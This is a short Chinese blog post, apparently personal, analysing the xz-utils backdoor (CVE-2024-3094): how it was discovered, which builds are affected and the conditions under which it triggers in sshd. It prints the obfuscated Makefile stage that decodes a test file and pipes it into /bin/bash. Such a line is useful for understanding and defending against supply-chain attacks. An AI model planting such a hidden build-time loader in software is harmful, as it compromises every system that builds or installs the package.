星期六, 3月 30, 2024

沒想到連 xz-utils 都能被埋後門

CVE-2024-3094

從 xz-utils 5.6.0 開始的版本有被埋入後門。

我的系統已經升級到這個版本了 QQ. 

最原始發現來自於

Subject: backdoor in upstream xz/liblzma leading to ssh server compromise 

在 liblzma 的 Makefile 中

am__test = bad-3-corrupt_lzma2.xz
...
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
...
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

展開後

...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "	 \-_" " 	_\-" | xz -d | /bin/bash >/dev/null 2>&1; ...

可以看到有個 test 中的檔案輸出被送到 shell 了..., 之後編出的 liblzma.so 就會包含後門...

依照該說明,要在 x86_64 的平台上產生 deb 或 rpm 格式才會編譯出有問題的 liblzma.so

有問題的 liblzma.so 要觸發其中的後門,需要滿足以下五個條件

  • TERM environment variable is not set
  • argv[0] needs to be /usr/sbin/sshd
  • LD_DEBUG, LD_PROFILE are not set
  • LANG needs to be set
  • Some debugging environments, like rr, appear to be detected. Plain gdb appears to be detected in some situations, but not others

看起來基本上 sshd 有 load 到 liblzma.so 且有作為系統服務啟動的意思

這個會被發現據說是因為讓 PostgreSQL 變慢了 XD Re: Security lessons from liblzma